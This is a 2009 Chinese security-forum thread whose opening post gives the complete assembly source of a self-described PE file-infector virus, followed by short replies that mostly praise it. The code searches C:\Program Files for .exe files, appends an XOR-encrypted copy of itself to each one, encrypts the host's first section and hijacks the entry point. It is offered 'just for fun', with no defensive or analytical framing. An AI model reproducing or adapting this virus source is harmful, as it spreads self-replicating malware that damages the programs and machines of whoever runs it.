首页
社区
课程
招聘
[原创]刚写的一个病毒(好像是第一次发帖,别砸砖)
发表于: 2009-8-13 23:12 28234

[原创]刚写的一个病毒(好像是第一次发帖,别砸砖)

2009-8-13 23:12
28234

平常都在debugman混了,这玩意也不能发那里,就来这里露怯把!!!

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Module:peinj.asm
;
;Author:charme[N.B.C]
;Email:charme000@gmail.com
;Time:2009.8.13
;Index:www.hi.baidu.com/charme000
;Description:
;
;-感染c:\progma file\下的exe文件
;-加密开始的一个节
;-key也简单
;
;Copyright (c) 2009 charme.
;
;Just for fun!
;Do it ,do our best!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.486
.model flat,stdcall
option casemap :none

include windows.inc
include kernel32.inc

includelib kernel32.lib

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

VIRUS_SIZE     equ end_virus - start_virus     ;病毒大小
VIRUS_BODYSIZE equ end_virus - virus_body      ;病毒体大小
VIRUS_DECRSIZE equ virus_body - start_virus    ;病毒头大小

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;三个过程
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@InfectFile PROTO
@FirstRecurse PROTO
@FindEexRecurse PROTO

.data
dummy dd 0

;;==============================================================;;               == = =       ==     =
;;=------------------------------------------------------------=;;            ==            =  =   =  =
;;=                                                            =;;           =             =   =  =   =
;;=                      **的开始                            =;;          =             =    =  =   =
;;=                                                            =;;           =            =    = =    =
;;=------------------------------------------------------------=;;            ==         =     =      =
;;==============================================================;;               = = == =              =  ==   ==   ==  ==www.hi.baidu.com/charme000==
.code

start_virus:

call GetDelta            ;变量,执行完push esp

GetDelta:

pop ebp
sub ebp,offset GetDelta  ;典型的重定位

;*
@@:
lea esi, [ebp + offset virus_body]
lea edi, [ebp + offset virus_body]
mov ecx, VIRUS_BODYSIZE  ;一看就是准备循环
mov bl,[ebp + xor_key]   ;加密

@@:
.if ecx == 0
    jmp @F
.endif
lodsb           ;从esi指向的内存中读取一个字节到al中,同时inc esi
xor al,bl       ;逐字节加密
stosb           ;把al中的内存存入edi
dec ecx         ;递减计数
jmp @B
@@:
    jmp @F      ;跳转到*处

virus_body:     ;开始病毒执行体

db "charme"

@@:
mov esi, [ebp + firstSegtVOffs]
mov edi,esi
mov ecx, [ebp + firstSegtVSize];作为计数

@@:
.if ecx == 0
    jmp @F
.endif
lodsb
xor al,bl
stosb
dec ecx
jmp @B
@@:
mov [ebp + xor_key],bl;保存密匙
mov eax,[esp]

and eax,0FFFFF000h;找到基址

compare:
cmp WORD ptr [eax],'ZM'
je api_found
sub eax, 1000h;一页一页搜索
jmp compare;循环

api_found:

;LoadLibrary
mov    [ebp + KernelBase], eax;保存指针
lea    esi, [ebp + _LoadLibrary]
call  GetFunctionAddress
mov [ebp + _a_LoadLibrary],eax;保存函数地址

;FindFirstFile
mov eax, [ebp + KernelBase]
lea esi, [ebp + _FindFirstFile]
call GetFunctionAddress
mov [ebp + _a_FindFirstFile],eax

;SetCurrentDirectory
mov eax, [ebp + KernelBase]
lea esi, [ebp + _SetCurrentDirectory]
call GetFunctionAddress
mov [ebp + _a_SetCurrentDirectory],eax

;GetFileAttributes
mov eax, [ebp + KernelBase]
lea esi, [ebp + _GetFileAttributes]
call GetFunctionAddress
mov [ebp + _a_GetFileAttributes],eax

;FindNextFile
mov eax, [ebp + KernelBase]
lea esi, [ebp + _FindNextFile]
call GetFunctionAddress
mov [ebp + _a_FindNextFile],eax

;FindClose
mov eax, [ebp + KernelBase]
lea esi, [ebp + _FindClose]
call GetFunctionAddress
mov [ebp + _a_FindClose],eax

;CreateFile
mov eax, [ebp + KernelBase]
lea esi, [ebp + _CreateFile]
call GetFunctionAddress
mov DWORD ptr [ebp + _a_CreateFile],eax

;lstrcpy
mov eax, [ebp + KernelBase]
lea esi, [ebp + _lstrcpy]
call GetFunctionAddress
mov DWORD ptr [ebp + _a_lstrcpy],eax

;GetFileSize
mov eax, [ebp + KernelBase]
lea esi, [ebp + _GetFileSize]
call GetFunctionAddress
mov DWORD ptr [ebp + _a_GetFileSize],eax

;CreateFileMapping
mov eax, [ebp + KernelBase]
lea esi, [ebp + _CreateFileMapping]
call GetFunctionAddress
mov [ebp + _a_CreateFileMapping],eax

;MapViewOfFile
mov eax, [ebp + KernelBase]
lea esi, [ebp + _MapViewOfFile]
call GetFunctionAddress
mov [ebp + _a_MapViewOfFile],eax

;ExitProcess
mov eax, [ebp + KernelBase]
lea esi, [ebp + _ExitProcess]
call GetFunctionAddress
mov [ebp + _a_ExitProcess],eax

;UnmapViewOfFile
mov eax, [ebp + KernelBase]
lea esi, [ebp + _UnmapViewOfFile]
call GetFunctionAddress
mov [ebp + _a_UnmapViewOfFile],eax

;CloseHandle
mov eax, [ebp + KernelBase]
lea esi, [ebp + _CloseHandle]
call GetFunctionAddress
mov [ebp + _a_CloseHandle],eax

jmp found_all  ;来个大跳转

;;-----------------------;;
;;    从导入表找函数     ;;
;;-----------------------;;
GetFunctionAddress:
    mov    ebx, [eax + 3Ch]                    ;pe header
    add    ebx, eax;加上基址
    add    ebx, 120
    mov    ebx, [ebx]
    add    ebx, eax                        ;Export Address
    xor    edx, edx
    mov    ecx, [ebx + 32]         ;functionname
    add    ecx, eax
    push    esi
    push    edx

CompareNext:
    pop    edx
    pop    esi
    inc    edx
    mov    edi, [ecx]
    add    edi, eax
    add    ecx, 4
    push    esi
    push    edx

CompareName:
    mov    dl, [edi]
    mov    dh, [esi]
    cmp    dl, dh
    jne    CompareNext
    inc    edi
    inc    esi
    cmp    BYTE ptr [esi], 0
    je    GetAddress
    jmp    CompareName

GetAddress:
    pop    edx
    pop    esi
    dec    edx
    shl    edx, 1
    mov    ecx, [ebx + 36]
    add    ecx, eax
    add    ecx, edx
    xor    edx, edx
    mov    dx, [ecx]
    shl    edx, 2
    mov    ecx, [ebx + 28]
    add    ecx, eax
    add    ecx, edx
    add    eax, [ecx]

    ret

found_all:

lea esi,[ebp + _STRING_RootInfect]
push esi
mov eax,[ebp + _a_SetCurrentDirectory];changes the current directory for the current process
call eax

push ebp

call @FirstRecurse;这个是自己定义的函数

pop ebp

jmp end_virus

;;-----------------------;;
;;         找exe         ;;
;;-----------------------;;
@FindEexRecurse PROC

;HANDLE FindFirstFile(
;  LPCTSTR lpFileName,
;  LPWIN32_FIND_DATA lpFindFileData
;);
lea eax,[ebp + OFFSET __STRUCT_Win32_FindExes]
push eax
lea eax,[ebp + OFFSET __STRING_Dot_Exe]
push eax
mov eax,[ebp + _a_FindFirstFile]
call eax

mov [ebp + __HND_ExeFind],eax;保存返回的文件句柄

.if eax == INVALID_HANDLE_VALUE
    mov eax,-1
    jmp finish
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindExes]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName;查询这个成员

mov esi,eax
lodsb  ;从esi中取出一个字节放入al

.if al == '.'
    jmp @F
.endif

lea esi,[ebp + __STRUCT_Win32_FindExes]

assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
push eax;这里其实push一个就可以了
mov eax,[ebp + _a_GetFileAttributes]
call eax  ;返回一个文件或者目录的属性

.if eax != FILE_ATTRIBUTE_DIRECTORY  ;如果是目录
pop eax
mov [ebp + __PTR_fileName],eax
call @InfectFile  ;感染之
.else
pop eax
.endif

@@:
lea esi,[ebp + OFFSET __STRUCT_Win32_FindExes]
push esi
mov esi,[ebp + __HND_ExeFind]
push esi
mov eax,[ebp + _a_FindNextFile]
call eax  ;继续找文件

.if eax == 0
jmp @F
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindExes]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName

mov esi,eax
lodsb

.if al == '.'
jmp @B  ;继续找文件
.endif

lea esi,[ebp + __STRUCT_Win32_FindExes]

assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
push eax
mov eax,[ebp + _a_GetFileAttributes]
call eax

.if eax != FILE_ATTRIBUTE_DIRECTORY
pop eax
mov [ebp + __PTR_fileName],eax
call @InfectFile
.else
pop eax
.endif

jmp @B  ;一直循环

@@:

finish:
ret
@FindEexRecurse ENDP

;;-----------------------;;
;;         一级资源      ;;
;;-----------------------;;
@FirstRecurse PROC

lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
push esi
lea esi,[ebp + OFFSET __STRING_Dot_Star]
push esi
mov eax,[ebp + _a_FindFirstFile]
call eax
mov [ebp + __HND_FirstFind],eax

.if eax == INVALID_HANDLE_VALUE
mov eax,-1
jmp finish1
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName

mov esi,eax
lodsb

.if al == '.'
jmp @F
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
mov eax,[ebp + _a_GetFileAttributes]
call eax

.if eax == FILE_ATTRIBUTE_DIRECTORY
lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
mov eax,[ebp + _a_SetCurrentDirectory]
call eax
call @FindEexRecurse
lea eax,[ebp + __STRING_Dot_Dot]
push eax
mov eax,[ebp + _a_SetCurrentDirectory]
call eax
.endif

@@:
lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
push esi
mov eax,[ebp+__HND_FirstFind]
push eax
mov eax,[ebp + _a_FindNextFile]
call eax

.if eax == 0
jmp @F
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName

mov esi,eax
lodsb

.if al == '.'
jmp @B
.endif

lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
mov eax,[ebp + _a_GetFileAttributes]
call eax

.if eax == FILE_ATTRIBUTE_DIRECTORY
lea esi,[ebp + OFFSET __STRUCT_Win32_FindData]
assume esi:ptr WIN32_FIND_DATA
lea eax,[esi].cFileName
push eax
mov eax,[ebp + _a_SetCurrentDirectory]
call eax
call @FindEexRecurse
lea eax,[ebp + __STRING_Dot_Dot]
push eax
mov eax,[ebp + _a_SetCurrentDirectory]
call eax
.endif

jmp @B

@@:
finish1:
ret
@FirstRecurse ENDP

;;-----------------------;;
;;           感染        ;;
;;-----------------------;;
@InfectFile PROC
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_WRITE or GENERIC_READ
mov eax,[ebp + __PTR_fileName];文件指针
push eax
mov eax,[ebp + _a_CreateFile];创建文件
call eax
mov [ebp + __HND_File],eax;文件句柄

push NULL
push eax
mov eax,[ebp + _a_GetFileSize]
call eax  ;获得文件大小
add eax,VIRUS_SIZE
add eax,1000h
mov [ebp + __max_size],eax;最后文件的大小

push 0
mov eax,[ebp + __max_size]
push eax
push 0
push PAGE_READWRITE
push NULL
mov eax,[ebp + __HND_File]
push eax
mov eax,[ebp + _a_CreateFileMapping]
call eax  ;创建映射文件
mov [ebp + __MAP_File],eax;hMap

push DWORD ptr [ebp + offset __max_size]
push 0
push 0
push FILE_MAP_WRITE
mov eax,[ebp  + __MAP_File]
push eax
mov eax,[ebp + _a_MapViewOfFile]
call eax;开始映射
mov [ebp + __PTR_File],eax

mov edi,eax
xor eax,eax
assume edi:ptr IMAGE_DOS_HEADER
mov ax,[edi].e_magic

add edi,[edi].e_lfanew

assume edi:ptr IMAGE_NT_HEADERS
add edi,SIZEOF DWORD
assume edi:ptr IMAGE_FILE_HEADER
xor ecx,ecx
mov cx,[edi].NumberOfSections
mov [ebp + totalSec],ecx;节个数

add edi,SIZEOF IMAGE_FILE_HEADER
mov [ebp + ptrEP],edi;到达节表处
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax,[edi].ImageBase
mov [ebp + firstSegtVOffs],eax;镜像基址
add eax,[edi].AddressOfEntryPoint
mov [ebp + oldEP],eax;保存旧的入口点

mov eax,[edi].FileAlignment
mov [ebp + fileAlign],eax

add edi,SIZEOF IMAGE_OPTIONAL_HEADER32

assume edi:ptr IMAGE_SECTION_HEADER

;    - EDI指向当前节表头
;    - ESI 指向RawData高位
;    - EAX holds ESI's "parent" segment header pointer

xor esi,esi
@@:
.if ecx == 0
jmp @F
.endif

; 加密第一个节表

.if esi == 0
mov eax,[edi].PointerToRawData
mov [ebp + firstSegtOffset],eax
mov eax,[edi].VirtualAddress
add [ebp + firstSegtVOffs],eax;rva
mov eax,[edi].Misc.VirtualSize
mov [ebp + firstSegtVSize],eax
mov al,BYTE ptr [edi].Name1
mov [ebp + firstSegtKey],al

mov eax,[edi].Characteristics
or eax,0A0000020h
mov [edi].Characteristics,eax

.endif

.if [edi].PointerToRawData > esi
mov esi,[edi].PointerToRawData
mov eax,edi
.endif
add edi,SIZEOF IMAGE_SECTION_HEADER
dec ecx
jmp @B  ;循环

@@:
mov edi,eax

assume edi:ptr IMAGE_SECTION_HEADER

mov ebx,[edi].Misc.VirtualSize
add ebx,VIRUS_SIZE
add ebx,7
mov [edi].Misc.VirtualSize,ebx

push edi
lea eax,[edi].Name1
mov edi,eax

mov al,'.'             ;text section
stosb
mov al,'t'
stosb
mov al,'e'
stosb
mov al,'x'
stosb
mov al,'t'
stosb
mov al,0
stosb

pop edi

xor edx,edx
mov eax,ebx
mov ebx,[ebp + fileAlign]
div ebx  ;对齐下

.if edx == 0
mov eax,[edi].Misc.VirtualSize
jmp dont_round
.endif

mov eax,[edi].Misc.VirtualSize
mov ebx,[ebp + fileAlign]
push ebx

xor ecx,ecx
mov edx,eax     

@@:
inc ecx
shr ebx,1
.if ebx == 0
dec ecx
jmp @F
.endif
jmp @B

@@:
sar eax,cl
sal eax,cl
pop ebx
add eax,ebx

dont_round:
mov ebx,[edi].SizeOfRawData
mov [edi].SizeOfRawData,eax
sub eax,ebx
shr eax,12
shl eax,12

mov [ebp + deltaImage],eax

mov eax,[edi].Characteristics
or eax,0A0000020h
mov [edi].Characteristics,eax

mov esi,[edi].VirtualAddress
add esi,[edi].Misc.VirtualSize
sub esi,VIRUS_SIZE
sub esi,7

push esi                                  ; 新入口点

mov esi,[edi].PointerToRawData
add esi,[edi].Misc.VirtualSize
sub esi,VIRUS_SIZE
sub esi,7

mov edi,esi
add edi,[ebp + __PTR_File]

lea esi, [ebp + offset start_virus]       ; 解密
mov ecx, VIRUS_DECRSIZE
rep movsb;esi中的拷贝到edi

lea esi, [ebp + offset virus_body]
mov ecx, VIRUS_BODYSIZE
mov bl,[ebp + xor_key]

;变换key

inc bl

; xor 0,bl = bl

xor al,al
mov [ebp + xor_key],al

@@:
.if ecx == 0
jmp @F
.endif
lodsb
xor al,bl
stosb
dec ecx
jmp @B
@@:

push edi

; 加密主体

mov esi, [ebp + firstSegtOffset]
add esi, [ebp + __PTR_File]
mov edi,esi
mov ecx, [ebp + firstSegtVSize]

@@:
.if ecx == 0
jmp @F
.endif
lodsb
xor al,bl
stosb
dec ecx
jmp @B
@@:

pop edi

mov al,0b8h;感染标记
stosb

mov eax,[ebp + oldEP]
stosd

mov ax,0d0ffh;还原标记
stosw

mov edi,[ebp + ptrEP]
assume edi:ptr IMAGE_OPTIONAL_HEADER32
pop eax
mov [edi].AddressOfEntryPoint,eax
pop eax

mov ebx,[edi].SizeOfImage
mov eax,[ebp + deltaImage]
add ebx,eax
mov [edi].SizeOfImage,ebx

; 清理战场

mov eax,[ebp + __PTR_File]
push eax
mov eax,[ebp + _a_UnmapViewOfFile]
call eax

mov eax,[ebp + __MAP_File]
push eax
mov eax,[ebp + _a_CloseHandle]
call eax

mov eax,[ebp + __HND_File]
push eax
mov eax,[ebp + _a_CloseHandle]
call eax

ret
@InfectFile ENDP

jmp end_virus
;;-----------------------------------无穷寂寞--------------------------------------;;
xor_key           db 0

firstSegtOffset   dd 0
firstSegtVSize    dd 0
firstSegtVOffs    dd 0
firstSegtKey      db 0

_LoadLibrary db "LoadLibrary",0
_a_LoadLibrary dd 0

_CreateFile db "CreateFile",0
_a_CreateFile dd 0

_CreateFileMapping db "CreateFileMapping",0
_a_CreateFileMapping dd 0

_MapViewOfFile db "MapViewOfFile",0
_a_MapViewOfFile dd 0

_SetCurrentDirectory db "SetCurrentDirectory",0
_a_SetCurrentDirectory dd 0

_ExitProcess db "ExitProcess",0
_a_ExitProcess dd 0

_MessageBox db "MessageBox",0
_a_MessageBox dd 0

_UnmapViewOfFile db "UnmapViewOfFile",0
_a_UnmapViewOfFile dd 0

_CloseHandle db "CloseHandle",0
_a_CloseHandle dd 0

_GetFileSize db "GetFileSize",0
_a_GetFileSize dd 0

_FindFirstFile db "FindFirstFile",0
_a_FindFirstFile dd 0

_GetFileAttributes db "GetFileAttributes",0
_a_GetFileAttributes dd 0

_FindNextFile db "FindNextFile",0
_a_FindNextFile dd 0

_FindClose db "FindClose",0
_a_FindClose dd 0

_lstrcpy db "lstrcpy",0
_a_lstrcpy dd 0

__DLL_User32 db "user32",0

__STRING_FileName db "petest.exe",0
__STRING_newdir db MAX_PATH dup(0)
__STRING_dotdot db "..",0
__STRING_filemask db "*.*",0

__STRING_Dot_Star db "*.*",0
__STRING_Dot_Exe db "*.exe",0
__STRING_Dot_Dot db "..",0
__HND_File dd 0
__HND_FirstFind dd 0
__HND_ExeFind dd 0
__MAP_File dd 0
__PTR_File dd 0

;_User32 dd 0
KernelBase dd 0
totalSec dd 0
ptrEP dd 0
oldEP dd 0
oldLast dd 0
secNum dd 0
fileAlign dd 0
deltaImage dd 0
oldrawsize dd 0

__STRUCT_Win32_FindData WIN32_FIND_DATA <>
__STRUCT_Win32_FindExes WIN32_FIND_DATA <>

_STRING_RootInfect db "C:\Program Files\",0

__PTR_fileName dd 0
__max_size     dd 0
;;-----------------------------------无穷寂寞--------------------------------------;;
end_virus:

ret
end start_virus


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (61)
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
2
可惜没人看,,自己顶顶
2009-8-14 02:47
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不砸砖~
2009-8-14 08:42
0
雪    币: 226
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
呵呵,学习学习 !
2009-8-14 09:10
0
雪    币: 280
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
能介绍一下吗 ??
2009-8-14 10:27
0
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
6
没有课介绍的,,都注释的很清楚了
2009-8-14 16:55
0
雪    币: 135
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
不错不错,ASM很强。。。
2009-8-18 22:40
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
就是想知道为什么这东西不能发DM论坛?
2009-8-19 16:43
0
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
9
debugman研究内核为主的,,我几乎没有见过发病毒的,,所以觉得不合适,,你非要发的话,也没人删的,呼呼
2009-8-19 17:38
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
收藏了,虽然看不懂。
2009-8-20 08:03
0
雪    币: 205
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
真的看不懂吖,55
哥你汇编好强大吖
2009-8-20 08:57
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
看看了,能看懂,还好~~
2009-8-20 10:52
0
雪    币: 225
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
牛人。。。。。
2009-8-20 13:44
0
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
楼主的技术十分娴熟,学习一下~
我也有几个写着玩的,那些就不好意思拿出来了~呵呵。
2009-8-21 23:09
0
雪    币: 173
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
push NULL
push eax
mov eax,[ebp + _a_GetFileSize]
call eax ;获得文件大小
add eax,VIRUS_SIZE
add eax,1000h
mov [ebp + __max_size],eax;最后文件的大小

请教下,这儿给eax加1000大小,最后得到文件有什么作用,是否对下面实现映射文件,腾出空间资源
2009-8-23 13:53
0
雪    币: 209
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
功力非常深厚啊,强。
2009-8-23 23:31
0
雪    币: 247
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
收藏了,好好学习
2009-8-23 23:38
0
雪    币: 348
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
楼主的思路很清晰 学习了
2009-8-24 12:02
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
19
正在学习ASM,很好啊,希望楼主多发这样的帖子。研究后在发表意见。
2009-8-24 21:40
0
雪    币: 5
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
写病毒 牛啊
2009-8-25 09:32
0
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
21
对。就是个SUSPEND_SIZE.扩展的大小。你看病毒代码多了。你会发现都要有一定扩展的。
2009-8-26 04:05
0
雪    币: 122
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
代码因然重要,但想交流就要说的清楚明白些。。。。不然大家都看不懂就没有办法交流了。
最重要的是思想上的交流,最好说一下你的想法和思路,比如:开始我们要加密码病毒,如果加密呢。。。接着我们要感染EXE文件,应该怎么感染呢?是把自身捆绑到EXE上还是。。。。
真正的交流是思想上的交流。
2009-8-29 22:08
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
23
LZ是nbc的成员了?恭喜呀
2009-8-29 22:39
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
24
support
2009-8-29 22:45
0
雪    币: 37
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
很强。。。 学习一下~
2009-10-7 20:23
0
游客
登录 | 注册 方可回帖
返回
//